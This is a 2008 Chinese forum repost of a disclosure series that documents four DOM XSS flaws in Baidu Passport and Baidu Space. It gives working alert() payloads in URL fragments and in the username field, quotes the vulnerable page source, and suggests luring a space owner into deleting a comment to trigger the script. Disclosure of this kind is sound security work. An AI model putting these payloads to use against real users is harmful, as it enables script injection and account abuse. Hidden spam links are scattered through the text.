【转载】The Week of Baidu Bugs - Day 04: 百度空间多处DOM XSS漏洞
The Week of Baidu Bugs - Day 04: 百度空间多处DOM XSS漏洞作者:佚名 来源:转载 发布时间:2008 发布人:黑客动画吧
[img]http://www.hack58.net/images/1.gif[/img]减小字体 [img]http://www.hack58.net/images/2.gif[/img]增大字体 [url=http://www.3ast.com.cn][color=#FFFFFF]黑客[/color][/url]
来源:大风起兮云飞扬
注:版权所有,转载请注明出处
今天天气不错,也是我们杀人放火的好时间。今天的篇幅会有点长,所以分成两部分来写。
前三天讲的漏洞,可能大家会觉得有点不愠不火,特别是昨天那个XSIO,更是被茄子称为“猥琐流”,我想也确实是挺猥琐的~~
但这些风险是真实存在的,不能在惊笑之余因为“猥琐”而而忽略这些风险。
今天换个话题,讲讲更传统一些的漏洞:XSS
我这里不想浪费任何口水讲XSS的风险,如果还有人不了解或者是轻视它,那么我以后会再单独论述。在这里只想说的是,任何忽视XSS风险的人(更多的是程序员,因为没认识到),都会受到深刻的教训。什么?你还没被教训到?好吧,不是不报,时候未到。[size=1][color=white]信息来自:[/color][/size][url=http://www.3ast.com.cn/][size=1][color=white]http://www.3ast.com.cn[/color][/size][/url]
昨天看余弦在blog上发了个passport.baidu.com的XSS漏洞,利用的是u参数(百度的JS数据流注入型跨站),那么今天的开篇,就让我用一个同域名下的类似漏洞作为引子。[url=http://www.3ast.com.cn][color=#FFFFFF]黑客[/color][/url]
XSS1:百度个人中心登录处DOM XSS
这个漏洞实际上从某种程度来说是不能利用的,叫做bug更合适一点。但是这个例子非常典型,用来作为今天的开篇很不错。[url=http://www.3ast.com.cn][color=#FFFFFF]黑客[/color][/url]
测试方法很简单,打开 [url=http://passport.baidu.com/?login]http://passport.baidu.com/?login 然后在输入用户名的地方输入:[url=http://www.3ast.com.cn][color=#FFFFFF]黑客[/color][/url]
</script><img onclick=alert();>
注意别输错了,和一般的XSS 不同
然后密码随便输入一个,提交登录。
之后就会看到页面被破坏掉了。[img]http://www.hack58.net/Article/UploadPic/2008-7/2008716102542472.jpg[/img][size=1][color=white]信息来自:[/color][/size][url=http://www.3ast.com.cn/][size=1][color=white]http://www.3ast.com.cn[/color][/size][/url]
把因为我们用了 onclick 事件,所以把鼠标移到图片上点一下,发现什么了? 我们可爱的小框出来了。
这个漏洞的原因是因为baidu把用户名当做[img]http://www.hack58.net/Article/UploadPic/2008-7/2008716102543304.jpg[/img]错误提示信息直接给写入到js里面去了,而没有做任何过滤。[url=http://www.3ast.com.cn][color=#FFFFFF]黑客[/color][/url]
源代码如下:
<script language=”javascript”>
var err_str=”";
switch(1)
{
case 1:
err_str = “用户名格式错误,请重新输入”
break;
case 2:
err_str = “用户“</script><img onclick=alert();>”不存在”[url=http://www.3ast.com.cn][color=#FFFFFF]黑客[/color][/url]
break;
case 3:
……
我们闭合掉了script标签,然后插入我们自己的图片事件。
但是在这里由于用户名有50个字节的长度限制,所以我们可以利用的空间非常有限。这也属于个YY漏洞。
YY完了,可以进入正题了。
实际上我准备了一打以上的XSS漏洞,但是如果每天发一个显然有些不厚道,大家也会觉得看的不爽,也很容易变成the Month of Baidu Bugs,所以我会稍微归类,然后再发出来。[url=http://www.3ast.com.cn][color=#FFFFFF]网络安全[/color][/url]
接下来要讲的这个DOM XSS,出在创建博客处。
XSS2: 百度空间创建新文章DOM XSS
测试方法:
进入如下url:
[url=http://hi.baidu.com/testuser/creat/blog/#]http://hi.baidu.com/testuser/creat/blog/#‘><script>alert();</script><’[url=http://www.3ast.com.cn][color=#FFFFFF]网络安全[/color][/url]
注意是单引号,而不是XSS常用的双引号。
我们的可爱小框直接弹出来了。[img]http://www.hack58.net/Article/UploadPic/2008-7/2008716102543725.jpg[/img][size=1][color=white]信息来自:[/color][/size][url=http://www.3ast.com.cn/][size=1][color=white]http://www.3ast.com.cn[/color][/size][/url]
实际上这里会弹两次。XSS漏洞具体原因在以下地方
网页在生成时候,有两个表单,调用了JS来动态获取URL的值
form1:
<form name=”form1″ id=”popFormSubmit” action=”/testuser/commit” method=”post” onSubmit=”return checkform();”>
<input type=”hidden” name=”ct” value=”1″>
<input type=”hidden” name=”cm” value=”1″>
<script language=”JavaScript”>
document.write(”<input name=’spRefURL’ type=’hidden’ value=’”+window.location.href+”‘>”);[url=http://www.3ast.com.cn][color=#FFFFFF]网络安全[/color][/url]
</script>
form2:
<div id=”_redirect_to_passport” style=”display:none;”>
<form method=”POST” action=”[url=https://passport.baidu.com/?login]https://passport.baidu.com/?login” id=”_redirect_form”>[url=http://www.3ast.com.cn][color=#FFFFFF]网络安全[/color][/url]
<input type=”hidden” name=”tpl” value=”sp”>
<input type=”hidden” name=”username” id=”_r_username” />[url=http://www.3ast.com.cn][color=#FFFFFF]黑客[/color][/url]
<input type=”hidden” name=”password” id=”_r_password” />[size=1][color=white]信息来自:[/color][/size][url=http://www.3ast.com.cn/][size=1][color=white]http://www.3ast.com.cn[/color][/size][/url]
<script>
大家多给我点支持,我争取把这个连载写完,尽量不做太监~~。
以前还梦想着以后去写YY小说,看这样子,说不定什么时候就进宫了。
扯完淡了,继续讲漏洞。
Baidu的DOM XSS漏洞大部分是出在 spRefURL 这个参数上的。
这个参数应该是用来统计 Referer 字段一类的作用,也可能是baidu的数据仓库用来收集用户行为所布下的暗桩(我很喜欢牛博威用的这个词~~~~多形象啊~~~呵呵)。[url=http://www.3ast.com.cn][color=#FFFFFF]网络安全[/color][/url]
但是这个参数往往在收集URL的同时,也把我们的XSS脚本给收集进去了。
看如下漏洞。
XSS 3: 百度空间博客评论处DOM XSS
测试方法如下:
进入以下URL(用户名和帖子ID自己替换,别傻的直接点了然后告诉我测试无效):
[url=http://hi.baidu.com/]http://hi.baidu.com/testuser/blog/item/e3713128deadbabe99250a9e#‘><script>alert(/fvck+baidu/);</script><’[url=http://www.3ast.com.cn][color=#FFFFFF]黑客[/color][/url]
可以看到,我们的可爱的小框再次弹出来了!
有多少评论,这个小框就会弹多少次。[img]http://www.hack58.net/Article/UploadPic/2008-7/2008716102543798.jpg[/img][url=http://www.3ast.com.cn][color=#FFFFFF]网络安全[/color][/url]
漏洞原因还是和XSS 2一样,如下:
表单中用js动态获取url
<form name=”form1″ id=”popFormSubmit” action=”/testuser/commit” method=”post” onSubmit=”return checkcmtform()”>[url=http://www.3ast.com.cn][color=#FFFFFF]网络安全[/color][/url]
<input type=”hidden” name=”ct” value=”8″>
<input type=”hidden” name=”cm” value=”1″>
<input type=”hidden” name=”spBlogID” value=”1f9a3aacaff38d0c4b36d6f5″>[url=http://www.3ast.com.cn][color=#FFFFFF]网络安全[/color][/url]
<script LANGUAGE=”JavaScript”>
document.write(”<input type=’hidden’ name=’spRefURL‘ value=’”+window.location.href+”‘>”);[size=1][color=white]信息来自:[/color][/size][url=http://www.3ast.com.cn/][size=1][color=white]http://www.3ast.com.cn[/color][/size][/url]
</script>
<div class=”tit”>发表评论:</div>
<table width=”620″ border=”0″ cellspacing=”5″ cellpadding=”0″>[url=http://www.3ast.com.cn][color=#FFFFFF]黑客[/color][/url]
<tr>
这个叫popFormSubmit的表单挺造孽的,很多地方都有它!估计很快就会补。
如果说上面这个漏洞和前面的有点雷同的话,那么接下来讲的这个就有点细微的差别了。
XSS 4: 百度空间删除留言DOM XSS漏洞
测试方法:
输入以下URL:
[url=http://hi.baidu.com/testuser/profile#]http://hi.baidu.com/testuser/profile#“;alert(/FVCK+BAIDU+XSS/);”或者如下URL:[size=1][color=white]信息来自:[/color][/size][url=http://www.3ast.com.cn/][size=1][color=white]http://www.3ast.com.cn[/color][/size][/url]
[url=http://hi.baidu.com/testuser/board#]http://hi.baidu.com/testuser/board#“;alert(/FVCK+BAIDU+XSS/);”[size=1][color=white]信息来自:[/color][/size][url=http://www.3ast.com.cn/][size=1][color=white]http://www.3ast.com.cn[/color][/size][/url]
当然,你要是在登录状态下。
进入之后,我们看到好像什么都没有~~,没错,就是什么都没有。
这时候如果你有留言,那么,删除它,如果没有,自己写个留言,再去删除它。
在提交删除后,就会看到我们可爱的小框框弹出来啦~~!
问题出在提交表单后的返回页面上。[img]http://www.hack58.net/Article/UploadPic/2008-7/2008716102543799.jpg[/img][url=http://www.3ast.com.cn][color=#FFFFFF]黑客[/color][/url]
Baidu通过commit做了很多操作,几乎所有表单都是由commit返回的。
在返回时,会有一个动态结果,这里的漏洞就出在这个动态返回结果上。
以下是页面返回后的代码:
<!–STATUS OK–>
……
<!–
以下部分是动态提交内容
//–>
……
<!– 42.删除留言 –>
<script language=”javascript”>
<!–
writestr(”留言删除成功!”);
var ref=”[url=http://hi.baidu.com/testuser/board#]http://hi.baidu.com/testuser/board#“;alert(/XSS/);”";[size=1][color=white]信息来自:[/color][/size][url=http://www.3ast.com.cn/][size=1][color=white]http://www.3ast.com.cn[/color][/size][/url]
if(ref.match(/board\/boardid/gi)){
url=”[url=http://hi.baidu.com/testtest9/board]http://hi.baidu.com/testtest9/board”[size=1][color=white]信息来自:[/color][/size][url=http://www.3ast.com.cn/][size=1][color=white]http://www.3ast.com.cn[/color][/size][/url]
}else{
url=ref;
}
function gotCmtUrl()
{
if(top.location.href==url) top.location.reload();
else top.location.href=url;
}
//gotourl(url);
//setTimeout(function(){top.location.href=url;},600);
setTimeout(”gotCmtUrl()”,600);
//–>
</script>
</div>
</body>
</html>
由于ref直接引用了url, 而没有做任何过滤,所以我们就可以把js直接写进该返回页面中。
设想如下场景: 在某空间留言辱骂主人,然后将URL copy给主人或诱使其去看,主人一怒下删除之,然后就XXXXXXX[url=http://www.3ast.com.cn][color=#FFFFFF]网络安全[/color][/url]
具体利用见人见智了。
欲知后事如何,且听下回分解。 精彩 厉害 NB 呵呵:victory: :victory: 牛人 果然是没有绝对的安全 只有绝对的不安全!!!
页:
[1]